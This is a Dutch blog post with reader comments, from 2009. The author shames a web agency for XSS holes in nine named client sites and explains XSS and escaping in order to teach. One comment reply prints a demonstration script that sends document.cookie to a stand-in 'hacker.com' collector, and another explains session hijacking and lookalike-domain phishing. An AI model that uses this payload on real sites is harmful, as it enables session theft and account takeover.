In het land der blinden... part 3
Ik heb lang, heel lang, getwijfeld of ik hier iets over moest schrijven, maar ik moet het gewoon kwijt. In een niet nader te noemen site die men nog aan 't ontwikkelen is kwam ik de nodige XSS zaken tegen en wat zaken die verdacht veel leken op (mogelijkheid tot) SQL injection. Omdat ik de opdrachtgever wat ellende wou besparen heb ik netjes melding gemaakt van die zaken en die heeft dat op zijn beurt weer bij WebArchitects neergelegd.
De reactie laat zich raden; net als voorgaande bedrijf was de reactie nonchalant en deze keer hadden ze het geluk dat de site nog niet 'live' is. Ze kwamen dus weg met een "oh, dat is al bekend en staat op ons to-do lijstje"-achtige reactie. Grappig, want, zélfs al zit je in de ontwikkelfase, XSS lekken dienen vanaf de eerste regel code die je schrijft voorzien te zijn. Het eerste het beste "form" dat je maakt, de eerste de beste query parameter die je accepteert en ja, zelfs gegevens uit cookies die je (hoogstwaarschijnlijk, maar niet zeker) zélf hebt gezet dien je gewoon te controleren. Waardes dienen ge-"escaped" te worden, waardes dienen naast "geldigheid" ook op "zinnigheid" te worden gecontroleerd en met "een filtertje" kom je er niet zoals eerder aangetoond.
Wanneer begrijpen we het nou eens? Hoe vaak moet ik er nog op hameren? Hoe vaak moeten we nog in 't nieuws horen dat er god-knows hoeveel NAW gegevens, e-mail adressen, of erger: creditcard gegevens op straat liggen wegens een lek in een site. Hoe vaak moeten we nog onze billen branden voordat we het leren? Veiligheid is niet iets wat je, nadat je (bijna) klaar bent met je site, even "inbouwt" of als nieuwe laag ergens "boven op legt". Zelfs al verkeert je site nog in Betafase, sterker, Alpha-stadium, dan nog horen dit soort zaken gewoon niet meer voor te komen. Het hoort, vanaf het moment dat je de code produceert, voorzien te zijn.
Gaan we even kijken in de portfolio en de referenties van onze vrienden dan maken ze het ons wel weer lekker makkelijk om te zien of inderdaad de "oh, dat is bekend en komt allemaal goed"-reactie terecht is (wat je natuurlijk, na vorige alinea gelezen te hebben, al kunt beantwoorden). Maar we nemen toch even de proef op de som:
Kabri.nl > Yes.
Infotec.nl > Raak.
Roymartina.com > Oops.
Kieft.nl > Hé shit.
Ricohshop.nl > Ik zie een patroon.
Srt.nl > You have got to be kiddin' me...
Derijks.nl > Guess what? Bingo again!
Proost.nl > Woei!
Vlaggenwinkel.nl > Tadaa!
9 uit 9. Netjes

Je maakt mij niet wijs dat 't probleem bij ze bekend is. Sterker: zojuist is aangetoond dat het een structureel probleem betreft bij deze webbouwer en puur een gebrek aan kennis. Het is overduidelijk dat de jongens en meisjes bij WebArchitects geen benul hebben van XSS (laat staan de mogelijke gevolgen) en dus gewoon nog in hun sprookjeswereld vertoeven waarin iedereen alleen maar leuke en goede bedoelingen heeft. Nou; wake up and smell the coffee! Dat is niet zo. Zodra je je site online plempt en bezoekers kunnen gaan neuzen op je site sta je gewoon voorovergebogen met je ondergoed op je enkels te wachten. Want er komt iemand op het idee om eens te kijken wat er allemaal te halen valt waar hij/zij eigenlijk niet aan mag komen. En dan moet je dus verdomdes goed weten waar je mee bezig bent voordat je jezelf in zo'n situatie plaatst en moet je verrekes goed zorgen dat je, terwijl je daar zo staat, niets kan overkomen. Sta je niet één keer, maar 9 keer met je broek op de enkels en doe je je best zoveel mogelijk klanten te winnen zodat je ook liefst nog 10, 20 of 150 keer met je broek op de enkels kunt: dan ben je, zacht gezegd, een ei als je daar niet voor zorgt. Het gaat héél lang goed, maar het gaat een keer fout. Het gaat niet over of het fout gaat, het gaat een keer fout. Die garantie geef ik je. De vraag is: wanneer?
Bij een aantal van de bekeken sites in dit voorbeeld is het ook nog eens makkelijk een foutmelding te veroorzaken of zelfs een timeout door bijvoorbeeld Javascript uit te schakelen, max. lengtes van form elementen uit te schakelen en dan bijvoorbeeld 9999999999 items in het winkelwagentje te plaatsen. Een overflow dien je af te handelen, ongeldige (en onzinnige!) data ook. Geef je een max. lengte van 4 tekens, effectief dus maximaal 9999, voor een te bestellen aantal in een HTML formulier op dan zorg je dat je server-side ook niet meer dan 4 tekens toe staat. Never trust (user)input!
Ik heb het vaker gezegd: Shit happens. We zijn allemaal mensen. We laten allemaal wel eens een steekje vallen. Ook ik. Daar hoef ik me niet voor te schamen, dat gebeurt de besten. Maar je kunt wél zorgen dat je er alles aan doet om dat zoveel mogelijk te voorkomen. In deze zaak is dat overduidelijk niet het geval; dit is geen "steekje laten vallen" meer. Maar goed, dat was wel duidelijk. Ik vind het werkelijk onverklaarbaar dat in een bedrijf waar toch genoeg 'webdevelopers' zitten, niet één iemand deze kwestie is opgevallen; en mocht dat wel zo zijn, dan vind ik het nog vreemder dat er niets aan gedaan is. Zorg dus dat je op de hoogte bent van zaken als XSS, SQL injection, server-side validatie (en sanitizing van die data) etc. etc. Want voor je het weet loop je met een poepert rond die gebruikt is voor doeleinden waar 'ie niet voor gemaakt is. En als iemand je dan met de neus op de feiten drukt; haal dan die nonchalante grijns van je gezicht en raak in paniek in plaats van dat je doet of je neus bloedt. Dank diegene die het je meldt op je blote knieën en dank diegene dan nogmaals voor 't in tact laten van je kringspier terwijl het uitwonen van je endeldarm vele malen aantrekkelijker was.
En hou je developers zo nu en dan eens een grote dikke grijnzende "Hubba" voor en zorg dat ze er nachtmerries van krijgen. Zo hou je ze scherp.














08-'09 In het land der blinden... part 4
02-'09 C# 'Geheimpjes'
Reacties
Verder wel mooi verhaaltje.

goed verhaal, jammer dat ze het zo slecht oppakken...en zelfs al ben ik geen dev, zelfs ik zie in dat ze aan het prutsen zijn bij dat bureau
Ben benieuwd of dit ook opgepikt wordt door echte media en of er een reactie komt vanuit het bedrijf zelf.
Zeer waarschijnlijk niet, althans niemand verwacht dat ze hier uitleg gaan geven.
Die "Boe" en doorverwijzing zijn enkel om de XSS mogelijkheid aan te tonen. In een ernstiger geval stuur je iemands cookies/sessie-id naar "hacker.com" waarna de ontvangende kant doodleuk beschikking heeft over die gegevens en (mogelijk) toegang krijgt tot zaken waar hij/zij niets te zoeken heeft. Een andere, wellicht duidelijkere, demonstratie is deze of deze. Vooral bij die laatste (waar nu Google.com gebruikt wordt) zou een kwaadwillende een pagina kunnen maken die zoekresultaten toont die er voor de bezoeker prima uit zien als valide zoekresultaten en ondertussen kan die kwaadwillende dus de bezoeker die alle vertrouwen heeft in de site die hij/zij bezoekt doorsturen naar Joost-mag-het weten of zelfs malware installeren etc.Als je bovenstaande sites bezoekt krijg je een messabox die "Boe" zegt, en doorverwijst naar deze pagina. Jouw werk ?
[Reactie gewijzigd op woensdag 5 augustus 2009 23:49]


[Reactie gewijzigd op woensdag 5 augustus 2009 21:58]

[Reactie gewijzigd op donderdag 6 augustus 2009 11:34]
Als ik jou was zou ik alle bedrijven die websites van hen hebben een mailtje sturen met tekst en uitleg en waarom ze deze webdevelopers moeten dumpen.
Helaas lopen er heel veel eikels rond en zoals je al zegt: In het land der blinden, is éénoog koning. En zo is het helaas.. zie je ook heel veel bij computerwinkels.






Gewoon weer het volgende "enterprise" product dat te snel is gebouwd om zoveel mogelijk features te hebben en te kunnen verkopen. Dat vervolgens de sites zo lek als een mandje zijn lijkt voor een hoop mensen niet uit te maken. Hoog tijd voor een lesje "volwassen worden" voor het gehele dev Team

[Reactie gewijzigd op vrijdag 7 augustus 2009 00:08]
Je kunt dit namelijk niet uitleggen.

Je praat over SQL injections maar laat alleen maar wat script hacks zien, weinig schokkend. Pas als je daadwerkelijk iets aan de database hebt veranderd is het een post waard in mijn ogen, nu zie je alleen maar water branden...
Zoals je misschien in de url's heabt gezien draaien deze sites op ColdFusion. ColdFusion handelt een hoop van het beginners werk zoals je net beschreven hebt af dus ik geloof niet dat je ver komt, maar dat ga je vast in deel 4 van je kruistocht doen.
En misschien moet je een keer gastspreker worden bij Kings Of Code of iets dergelijk als je echt niet begrijpt waarom de hele wereld je blog niet leest en toepast...
Dan lees je lekker een andere site/blogJe hebt wel een erg lang verhaal nodig om uit te leggen dat je jezelf aan het schrikken kan maken met een 'boe' melding.

Je hebt duidelijk geen benul welke gevolgen een XSS lek kan hebben. Daarbij heb ik het over "zaken die verdacht veel leken op (mogelijkheid tot) SQL injection". Er is een verschil. Op het moment dat ik "daadwerkelijk iets aan de database heb veranderd" ben ik bezig de zaak (blijvend) te vernielen; dat was mijn doel niet.Je praat over SQL injections maar laat alleen maar wat script hacks zien, weinig schokkend. Pas als je daadwerkelijk iets aan de database hebt veranderd is het een post waard in mijn ogen, nu zie je alleen maar water branden...
Vooral blind vertrouwen hebben in een sprookje dat 't platform alles wel voor je afhandeltZoals je misschien in de url's heabt gezien draaien deze sites op ColdFusion. ColdFusion handelt een hoop van het beginners werk zoals je net beschreven hebt af


Op Kings Of Code zou je gaap-smiley terecht zijn geweest; daar zou ik niets nieuws verkondigen en zou ik (terecht) uitgelachen worden te lopen prediken wat iedereen al weet. En toch is de praktijk, zoals je hebt gezien, anders en weet dus toch niet iedereen dat er iets als XSS bestaatEn misschien moet je een keer gastspreker worden bij Kings Of Code of iets dergelijk

En dat zie je mij verkondigen...waar?als je echt niet begrijpt waarom de hele wereld je blog niet leest en toepast...
Wel tof dat je de enige (na ja, op pa na


[Reactie gewijzigd op maandag 10 augustus 2009 23:33]
niet enkel weten ze niet hoe ze een xss moeten voorkomen of correct afhandelen.The following information is meant for the website developer for debugging purposes.
Error Occurred While Processing Request
Hacking attempt, your IP address has been logged.
ze kennen het verschil ook niet tussen hacking, exploiting, code injecting, scripting, ...
(en steken ze de fout naar de bezoeker wegens 'hack poging' terwijl ze zelf zo dom waren de fout te laten zoals ze was, niet te luisteren toen ze hulp werd aangeboden, en nu dat ze redelijk wat trafiek vanuit deze blog krijgen gaan ze het zo spelen ...)
al wel een bedrijf die niet snel (als in 'nooit' ) enig webdesign voor mij of iemand die ik ken, moet doen.
ps: script en iframe zorgen bij 8 van de 9 voor 'je bent hacker en je ip is gelogd'-warning, maar andere html-code 'opzoeken' lukt nog wel de meesten....
dus nog steeds niets geleerd...
(ach ja, mijn ip-adres staat er ondertussen wel een paar keer in de logfile


[Reactie gewijzigd op woensdag 12 augustus 2009 06:05]

Ik zie nu inderdaad wel jouw "boe-meldingen", en dat vind ik wel raar dat dat kan, maar ik begrijp niet hoe iemand anders dan van gegevens tijdens mijn sessie dan (ja toch ?) gebruik kan maken...
Aan de andere kant, als ze nu bv wel het probleem (escapen van bv sql-statements snap ik wel, dus ik weet wat je met escapen bedoelt) met dat escapen hadden opgelost en ze vriendelijk en zonder dreigen jou gevraagd hadden om de blogpost te verwijderen, dan had ik het wel gedaan (maar dat hebben ze nu niet gedaan en je staat recht in je schoenen dus: boeien ! )
Met XSS kun je code "injecteren" in een site; en omdat dan de Same Origin Policy niet geschonden wordt wordt de code door de browser doodleuk uitgevoerd. De Same Origin Policy houdt in dat code van andere domeinen geen (of erg beperkte) zaken kan uitrichten op een bepaalde site. Omdat de code nu echter op de site zelf verschijnt (en dus feitelijk onderdeel is van die site/pagina) heeft de code toegang tot alle gegevens in bijvoorbeeld cookies. Diezelfde code kan de inhoud van zo'n cookie naar een andere site sturen en daarmee dus bijvoorbeeld sessie id's "lekken" waarmee een aanvaller weer een sessie kan overnemen door z'n eigen cookie te voorzien van het 'geleende' ID en zo bij zaken kan komen waar hij/zij niets te zoeken heeft omdat de site de aanvaller aanziet voor de oorspronkelijke eigenaar van het sessie ID. Tref je een gebruiker met een leuke rechtenset dan ben je binnen als aanvaller.
Ik zie je wel eens op 't forum posten dus ik neem aan dat je er mee bekend bent


JavaScript:
1
2
3
| <script type="text/javascript"> document.location.href = 'http://www.hacker.com/savecookie.php?value=' + encodeURIComponent(document.cookie); </script> |
Leesbaar/simpel gehouden voor demonstratiedoeleinden.
Daarmee wordt een 'redirect' uitgevoerd en de inhoud van de cookie van betreffende site naar de hacker's site gestuurd. Daarin zal ook je TnetID in zitten; je Sessie-ID aan de hand waarvan je geïdentificeerd wordt als HyperBart dus. Los van wat beveiligingen als sessie-id's koppelen aan IP (jeej T.net



Maar er kan veel meer uitgehaald worden; zo kan er ook een code geïnjecteerd worden welke de bezoeker "ongemerkt" verwijst van brakkesite.com naar brakesite.com (let op 1 letter verschil). Als de aanvaller er voor zorgt dat er op dat domein een "lookalike"-site staat profiteert de aanvaller dus van het vertrouwen dat de bezoeker zal hebben in de oorspronkelijke site. De bezoeker zal niet snel merken (mits goed uitgevoerd natuurlijk) dat hij/zij op een kwaadaardige site aan 't surfen is en kan zo, bijvoorbeeld, een bestelling plaatsen, denkende dat de site wel OK is maar ondertussen zijn/haar creditcardgegevens dus bij de aanvaller achterlaten. De bestelde goederen zullen natuurlijk nooit geleverd worden en God-knows-what er met de creditcardgegevens gedaan wordt.
Het hele probleem van XSS ontstaat door niet correct te escapen; dus het domweg blind 1:1 overnemen van input en opnemen in de output zonder rekening er mee te houden dat er wel eens kwaadaardige zaken in zouden kunnen zitten. Een simpele HTMLEntities / HTMLSpecialChars / HTMLEncode / HTMLEditFormat / <pick_one_voor_je_taal> voorkomt zoiets al. In het volgende voorbeeld ben je vatbaar voor XSS:
code:
1
2
3
4
5
6
7
| <% $zoekstring = $_Get("someparam") %> <div class="searchresults"> U zocht op $zoekstring </div> |
Als $zoekstring (even aangenomen dat de inhoud van $zoekstring niet al escaped is) HTML code bevat kan het dus zijn dat zoiets ontstaat na het uitvoeren van het script:
HTML:
1
2
3
| <div class="searchresults"> U zocht op <script>...enge dingen hier...</script> </div> |
Escape je wel netjes zoals het hoort dan krijg je:
code:
1
2
3
4
5
6
7
| <% $zoekstring = $_Get("someparam") %> <div class="searchresults"> U zocht op $EscapeFunctie($zoekstring) </div> |
Uitvoer:
HTML:
1
2
3
| <div class="searchresults"> U zocht op <script>...enge dingen hier...</script> </div> |
...en dan wordt er gewoon netjes "U zocht op <script>...enge dingen hier...</script>" weergegeven i.p.v. dat het script daadwerkelijk wordt uitgevoerd. Zo doet Google het bijvoorbeeld dus goed (d'uh

In een gemiddeld gastenboekscriptje geschreven door een beginner kun je XSS mogelijkheden nog wel verwachten; in een commerciële site gemaakt door een zichzelf respecterend bedrijf niet.
[Reactie gewijzigd op woensdag 12 augustus 2009 22:40]
Reageren is niet meer mogelijk